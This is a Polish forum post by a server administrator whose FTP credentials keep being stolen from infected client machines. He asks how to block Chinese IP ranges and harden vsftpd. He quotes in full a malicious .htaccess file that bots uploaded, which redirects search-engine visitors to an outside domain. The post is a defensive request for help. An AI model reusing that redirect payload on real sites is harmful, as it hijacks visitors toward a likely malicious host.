Blokada Ip Krajów Chiny,tajwan Itp

[samba]

Witam

 

Chciałbym zablokować adresy IP Chin i innych krajów. Gdzie znaleźć listy z pełnymi zakresami adresów IP na dany kraj ?? Szukając znalazłem sporo nie aktualnych.

 

Muszę zablokować dostęp do FTP gdyż kilka firm wrzuca i pobiera dane z mojego FTP i co jakiś czas np poprzez luki w Total Commanderze wykradane są hasła do FTP z ich komputerów które mają infekcje a ja nie mam na to wpływu. Zmiana hasła jest tylko tymczasowym rozwiązaniem gdyż i tak za jakiś czas zostanie "wykradzione".

 

Dlatego myślę o blokadzie zakresów IP na routerze , blokadzie na PAM ?? i iptables

Jakie jeszcze inne rozwiązanie mogę zastosować dla Vsftpd ?

 

Zauważyłem że boty z chin wrzucają na ftp takie świństwo htaccess

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*hotbot.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*goto.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*infoseek.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mamma.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*lycos.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mail.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://armadaneo.info/0/go.php?sid=2 [R,L]

 

59-125-229-74.hinet-ip.hinet.net

 

Macie jakieś pomysły jak zabezpieczyć się ?